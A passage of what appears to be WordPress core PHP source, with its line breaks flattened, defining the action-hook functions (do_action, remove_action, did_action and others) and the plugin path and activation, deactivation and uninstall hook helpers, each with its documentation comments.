- 'example_action' is the action hook. * * - $arg1 and $arg2 are the additional arguments passed to the callback. * do_action( 'example_action', $arg1, $arg2 ); * * @since 1.2.0 * @since 5.3.0 Formalized the existing and already documented `...$arg` parameter * by adding it to the function signature. * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * @global int[] $wp_actions Stores the number of times each action was triggered. * @global string[] $wp_current_filter Stores the list of current filters with the current one last. * * @param string $hook_name The name of the action to be executed. * @param mixed ...$arg Optional. Additional arguments which are passed on to the * functions hooked to the action. Default empty. */ function do_action( $hook_name, ...$arg ) { global $wp_filter, $wp_actions, $wp_current_filter; if ( ! isset( $wp_actions[ $hook_name ] ) ) { $wp_actions[ $hook_name ] = 1; } else { ++$wp_actions[ $hook_name ]; } // Do 'all' actions first. if ( isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; $all_args = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection _wp_call_all_hook( $all_args ); } if ( ! isset( $wp_filter[ $hook_name ] ) ) { if ( isset( $wp_filter['all'] ) ) { array_pop( $wp_current_filter ); } return; } if ( ! isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; } if ( empty( $arg ) ) { $arg[] = ''; } elseif ( is_array( $arg[0] ) && 1 === count( $arg[0] ) && isset( $arg[0][0] ) && is_object( $arg[0][0] ) ) { // Backward compatibility for PHP4-style passing of `array( &$this )` as action `$arg`. $arg[0] = $arg[0][0]; } $wp_filter[ $hook_name ]->do_action( $arg ); array_pop( $wp_current_filter ); } /** * Calls the callback functions that have been added to an action hook, specifying arguments in an array. * * @since 2.1.0 * * @see do_action() This function is identical, but the arguments passed to the * functions hooked to `$hook_name` are supplied using an array. * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * @global int[] $wp_actions Stores the number of times each action was triggered. * @global string[] $wp_current_filter Stores the list of current filters with the current one last. * * @param string $hook_name The name of the action to be executed. * @param array $args The arguments supplied to the functions hooked to `$hook_name`. */ function do_action_ref_array( $hook_name, $args ) { global $wp_filter, $wp_actions, $wp_current_filter; if ( ! isset( $wp_actions[ $hook_name ] ) ) { $wp_actions[ $hook_name ] = 1; } else { ++$wp_actions[ $hook_name ]; } // Do 'all' actions first. if ( isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; $all_args = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection _wp_call_all_hook( $all_args ); } if ( ! isset( $wp_filter[ $hook_name ] ) ) { if ( isset( $wp_filter['all'] ) ) { array_pop( $wp_current_filter ); } return; } if ( ! isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; } $wp_filter[ $hook_name ]->do_action( $args ); array_pop( $wp_current_filter ); } /** * Checks if any action has been registered for a hook. * * When using the `$callback` argument, this function may return a non-boolean value * that evaluates to false (e.g. 0), so use the `===` operator for testing the return value. * * @since 2.5.0 * * @see has_filter() This function is an alias of has_filter(). * * @param string $hook_name The name of the action hook. * @param callable|string|array|false $callback Optional. The callback to check for. * This function can be called unconditionally to speculatively check * a callback that may or may not exist. Default false. * @return bool|int If `$callback` is omitted, returns boolean for whether the hook has * anything registered. When checking a specific function, the priority * of that hook is returned, or false if the function is not attached. */ function has_action( $hook_name, $callback = false ) { return has_filter( $hook_name, $callback ); } /** * Removes a callback function from an action hook. * * This can be used to remove default functions attached to a specific action * hook and possibly replace them with a substitute. * * To remove a hook, the `$callback` and `$priority` arguments must match * when the hook was added. This goes for both filters and actions. No warning * will be given on removal failure. * * @since 1.2.0 * * @param string $hook_name The action hook to which the function to be removed is hooked. * @param callable|string|array $callback The name of the function which should be removed. * This function can be called unconditionally to speculatively remove * a callback that may or may not exist. * @param int $priority Optional. The exact priority used when adding the original * action callback. Default 10. * @return bool Whether the function is removed. */ function remove_action( $hook_name, $callback, $priority = 10 ) { return remove_filter( $hook_name, $callback, $priority ); } /** * Removes all of the callback functions from an action hook. * * @since 2.7.0 * * @param string $hook_name The action to remove callbacks from. * @param int|false $priority Optional. The priority number to remove them from. * Default false. * @return true Always returns true. */ function remove_all_actions( $hook_name, $priority = false ) { return remove_all_filters( $hook_name, $priority ); } /** * Retrieves the name of the current action hook. * * @since 3.9.0 * * @return string Hook name of the current action. */ function current_action() { return current_filter(); } /** * Returns whether or not an action hook is currently being processed. * * The function current_action() only returns the most recent action being executed. * did_action() returns the number of times an action has been fired during * the current request. * * This function allows detection for any action currently being executed * (regardless of whether it's the most recent action to fire, in the case of * hooks called from hook callbacks) to be verified. * * @since 3.9.0 * * @see current_action() * @see did_action() * * @param string|null $hook_name Optional. Action hook to check. Defaults to null, * which checks if any action is currently being run. * @return bool Whether the action is currently in the stack. */ function doing_action( $hook_name = null ) { return doing_filter( $hook_name ); } /** * Retrieves the number of times an action has been fired during the current request. * * @since 2.1.0 * * @global int[] $wp_actions Stores the number of times each action was triggered. * * @param string $hook_name The name of the action hook. * @return int The number of times the action hook has been fired. */ function did_action( $hook_name ) { global $wp_actions; if ( ! isset( $wp_actions[ $hook_name ] ) ) { return 0; } return $wp_actions[ $hook_name ]; } /** * Fires functions attached to a deprecated filter hook. * * When a filter hook is deprecated, the apply_filters() call is replaced with * apply_filters_deprecated(), which triggers a deprecation notice and then fires * the original filter hook. * * Note: the value and extra arguments passed to the original apply_filters() call * must be passed here to `$args` as an array. For example: * * // Old filter. * return apply_filters( 'wpdocs_filter', $value, $extra_arg ); * * // Deprecated. * return apply_filters_deprecated( 'wpdocs_filter', array( $value, $extra_arg ), '4.9.0', 'wpdocs_new_filter' ); * * @since 4.6.0 * * @see _deprecated_hook() * * @param string $hook_name The name of the filter hook. * @param array $args Array of additional function arguments to be passed to apply_filters(). * @param string $version The version of WordPress that deprecated the hook. * @param string $replacement Optional. The hook that should have been used. Default empty. * @param string $message Optional. A message regarding the change. Default empty. * @return mixed The filtered value after all hooked functions are applied to it. */ function apply_filters_deprecated( $hook_name, $args, $version, $replacement = '', $message = '' ) { if ( ! has_filter( $hook_name ) ) { return $args[0]; } _deprecated_hook( $hook_name, $version, $replacement, $message ); return apply_filters_ref_array( $hook_name, $args ); } /** * Fires functions attached to a deprecated action hook. * * When an action hook is deprecated, the do_action() call is replaced with * do_action_deprecated(), which triggers a deprecation notice and then fires * the original hook. * * @since 4.6.0 * * @see _deprecated_hook() * * @param string $hook_name The name of the action hook. * @param array $args Array of additional function arguments to be passed to do_action(). * @param string $version The version of WordPress that deprecated the hook. * @param string $replacement Optional. The hook that should have been used. Default empty. * @param string $message Optional. A message regarding the change. Default empty. */ function do_action_deprecated( $hook_name, $args, $version, $replacement = '', $message = '' ) { if ( ! has_action( $hook_name ) ) { return; } _deprecated_hook( $hook_name, $version, $replacement, $message ); do_action_ref_array( $hook_name, $args ); } // // Functions for handling plugins. // /** * Gets the basename of a plugin. * * This method extracts the name of a plugin from its filename. * * @since 1.5.0 * * @global array $wp_plugin_paths * * @param string $file The filename of plugin. * @return string The name of a plugin. */ function plugin_basename( $file ) { global $wp_plugin_paths; // $wp_plugin_paths contains normalized paths. $file = wp_normalize_path( $file ); arsort( $wp_plugin_paths ); foreach ( $wp_plugin_paths as $dir => $realdir ) { if ( str_starts_with( $file, $realdir ) ) { $file = $dir . substr( $file, strlen( $realdir ) ); } } $plugin_dir = wp_normalize_path( WP_PLUGIN_DIR ); $mu_plugin_dir = wp_normalize_path( WPMU_PLUGIN_DIR ); // Get relative path from plugins directory. $file = preg_replace( '#^' . preg_quote( $plugin_dir, '#' ) . '/|^' . preg_quote( $mu_plugin_dir, '#' ) . '/#', '', $file ); $file = trim( $file, '/' ); return $file; } /** * Register a plugin's real path. * * This is used in plugin_basename() to resolve symlinked paths. * * @since 3.9.0 * * @see wp_normalize_path() * * @global array $wp_plugin_paths * * @param string $file Known path to the file. * @return bool Whether the path was able to be registered. */ function wp_register_plugin_realpath( $file ) { global $wp_plugin_paths; // Normalize, but store as static to avoid recalculation of a constant value. static $wp_plugin_path = null, $wpmu_plugin_path = null; if ( ! isset( $wp_plugin_path ) ) { $wp_plugin_path = wp_normalize_path( WP_PLUGIN_DIR ); $wpmu_plugin_path = wp_normalize_path( WPMU_PLUGIN_DIR ); } $plugin_path = wp_normalize_path( dirname( $file ) ); $plugin_realpath = wp_normalize_path( dirname( realpath( $file ) ) ); if ( $plugin_path === $wp_plugin_path || $plugin_path === $wpmu_plugin_path ) { return false; } if ( $plugin_path !== $plugin_realpath ) { $wp_plugin_paths[ $plugin_path ] = $plugin_realpath; } return true; } /** * Get the filesystem directory path (with trailing slash) for the plugin __FILE__ passed in. * * @since 2.8.0 * * @param string $file The filename of the plugin (__FILE__). * @return string the filesystem path of the directory that contains the plugin. */ function plugin_dir_path( $file ) { return trailingslashit( dirname( $file ) ); } /** * Get the URL directory path (with trailing slash) for the plugin __FILE__ passed in. * * @since 2.8.0 * * @param string $file The filename of the plugin (__FILE__). * @return string the URL path of the directory that contains the plugin. */ function plugin_dir_url( $file ) { return trailingslashit( plugins_url( '', $file ) ); } /** * Set the activation hook for a plugin. * * When a plugin is activated, the action 'activate_PLUGINNAME' hook is * called. In the name of this hook, PLUGINNAME is replaced with the name * of the plugin, including the optional subdirectory. For example, when the * plugin is located in wp-content/plugins/sampleplugin/sample.php, then * the name of this hook will become 'activate_sampleplugin/sample.php'. * * When the plugin consists of only one file and is (as by default) located at * wp-content/plugins/sample.php the name of this hook will be * 'activate_sample.php'. * * @since 2.0.0 * * @param string $file The filename of the plugin including the path. * @param callable $callback The function hooked to the 'activate_PLUGIN' action. */ function register_activation_hook( $file, $callback ) { $file = plugin_basename( $file ); add_action( 'activate_' . $file, $callback ); } /** * Sets the deactivation hook for a plugin. * * When a plugin is deactivated, the action 'deactivate_PLUGINNAME' hook is * called. In the name of this hook, PLUGINNAME is replaced with the name * of the plugin, including the optional subdirectory. For example, when the * plugin is located in wp-content/plugins/sampleplugin/sample.php, then * the name of this hook will become 'deactivate_sampleplugin/sample.php'. * * When the plugin consists of only one file and is (as by default) located at * wp-content/plugins/sample.php the name of this hook will be * 'deactivate_sample.php'. * * @since 2.0.0 * * @param string $file The filename of the plugin including the path. * @param callable $callback The function hooked to the 'deactivate_PLUGIN' action. */ function register_deactivation_hook( $file, $callback ) { $file = plugin_basename( $file ); add_action( 'deactivate_' . $file, $callback ); } /** * Sets the uninstallation hook for a plugin. * * Registers the uninstall hook that will be called when the user clicks on the * uninstall link that calls for the plugin to uninstall itself. The link won't * be active unless the plugin hooks into the action. * * The plugin should not run arbitrary code outside of functions, when * registering the uninstall hook. In order to run using the hook, the plugin * will have to be included, which means that any code laying outside of a * function will be run during the uninstallation process. The plugin should not * hinder the uninstallation process. * * If the plugin can not be written without running code within the plugin, then * the plugin should create a file named 'uninstall.php' in the base plugin * folder. This file will be called, if it exists, during the uninstallation process * bypassing the uninstall hook. The plugin, when using the 'uninstall.php' * should always check for the 'WP_UNINSTALL_PLUGIN' constant, before * executing. * * @since 2.7.0 * * @param string $file Plugin file. * @param callable $callback The callback to run when the hook is called. Must be * a static method or function. */ function register_uninstall_hook( $file, $callback ) { if ( is_array( $callback ) && is_object( $callback[0] ) ) { _doing_it_wrong( __FUNCTION__, __( 'Only a static class method or function can be used in an uninstall hook.' ), '3.1.0' ); return; } /* * The option should not be autoloaded, because it is not needed in most * cases. Emphasis should be put on using the 'uninstall.php' way of * uninstalling the plugin. */ $uninstallable_plugins = (array) get_option( 'uninstall_plugins' ); $plugin_basename = plugin_basename( $file ); if ( ! isset( $uninstallable_plugins[ $plugin_basename ] ) || $uninstallable_plugins[ $plugin_basename ] !== $callback ) { $uninstallable_plugins[ $plugin_basename ] = $callback; update_option( 'uninstall_plugins', $uninstallable_plugins ); } } /** * Calls the 'all' hook, which will process the functions hooked into it. * * The 'all' hook passes all of the arguments or parameters that were used for * the hook, which this function was called for. * * This function is used internally for apply_filters(), do_action(), and * do_action_ref_array() and is not meant to be used from outside those * functions. This function does not check for the existence of the all hook, so * it will fail unless the all hook exists prior to this function call. * * @since 2.5.0 * @access private * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * * @param array $args The collected parameters from the hook that was called. */ function _wp_call_all_hook( $args ) { global $wp_filter; $wp_filter['all']->do_all_hook( $args ); } /** * Builds a unique string ID for a hook callback function. * * Functions and static method callbacks are just returned as strings and * shouldn't have any speed penalty. * * @link https://core.trac.wordpress.org/ticket/3875 * * @since 2.2.3 * @since 5.3.0 Removed workarounds for spl_object_hash(). * `$hook_name` and `$priority` are no longer used, * and the function always returns a string. * * @access private * * @param string $hook_name Unused. The name of the filter to build ID for. * @param callable|string|array $callback The callback to generate ID for. The callback may * or may not exist. * @param int $priority Unused. The order in which the functions * associated with a particular action are executed. * @return string Unique function ID for usage as array key. */ function _wp_filter_build_unique_id( $hook_name, $callback, $priority ) { if ( is_string( $callback ) ) { return $callback; } if ( is_object( $callback ) ) { // Closures are currently implemented as objects. $callback = array( $callback, '' ); } else { $callback = (array) $callback; } if ( is_object( $callback[0] ) ) { // Object class calling. return spl_object_hash( $callback[0] ) . $callback[1]; } elseif ( is_string( $callback[0] ) ) { // Static calling. return $callback[0] . '::' . $callback[1]; } }